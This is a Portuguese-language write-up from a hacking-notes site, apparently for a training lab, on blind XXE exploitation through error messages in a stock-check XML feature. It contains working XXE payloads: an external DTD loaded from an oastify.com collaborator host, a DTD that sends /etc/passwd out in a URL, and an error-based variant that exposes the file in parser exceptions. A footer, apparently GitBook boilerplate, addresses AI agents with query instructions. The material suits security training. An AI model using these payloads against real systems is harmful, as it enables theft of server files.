> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md).

# Filtragem Cega de Dados XXE via Mensagens de Erro

### Explorando XXE cego para recuperar dados por meio de mensagens de erro

Laboratório: o recurso Verificar estoque analisa um XML sem exibir diretamente a resposta. O objetivo é usar uma entidade externa (DTD hospedada em um servidor) para causar um erro que mostrará o conteúdo do `/etc/passwd` arquivo na mensagem de exceção. A técnica de forçar o parser a incluir o conteúdo do arquivo em um URI inexistente é usada para que a exceção revele esse conteúdo.

* O ponto de entrada analisa o XML, mas não retorna o resultado normalmente.
* O servidor permite a inclusão de um DTD externo (hospedado no domínio de exploração).
* A mensagem de erro do parser contém informações suficientes para que, se o DTD causar uma referência malformada incluindo o conteúdo de um arquivo, esse conteúdo apareça na exceção.

#### Carregue um DTD externo hospedado no servidor para funcionar adicionando um `DOCTYPE` Declaração apontando para a URL do servidor de exploração:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://qf9v476vsapx2mqf01es1v7cu30xoncc.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/b3559df5f9b6169f8291ee45b01b76fe2dbe1546" alt=""><figcaption></figcaption></figure>

O parser retorna um erro do tipo:/ `O parser XML saiu com erro: org.XML.sax.SAXParseException; systemId: https://qf9v476...; lineNumber: 1; columnNumber: 2; As declarações de marcação... devem estar bem formadas.`

2. Tentativa direta de listar `/etc/passwd` (problema: muitas linhas):

```xml
<!ENTITY % file SYSTEM "file:////etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://rrmwg8iw4b1yen2gc2qtdwjd64c00qof.oastify.com/?content=%file;'>">
%eval;
%exfil;
```

<figure><img src="/files/f41725c7b5fa5322c0861fdbda7b3e82e5ac14c8" alt=""><figcaption></figcaption></figure>

3. Técnica usada com contexto de erro — insira o conteúdo do arquivo em uma referência impossível para forçar o parser a exibi-lo na exceção:

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

Ao acionar a referência para `file:///nonexistent/%file;`, o parser gera uma exceção contendo o texto do recurso incluído (`/etc/passwd`), o que permite exfiltrar o conteúdo apesar da ausência de um retorno normal à funcionalidade.

<figure><img src="/files/58cbf6c44c4d82a903fc1bcd993bd08c273c541f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
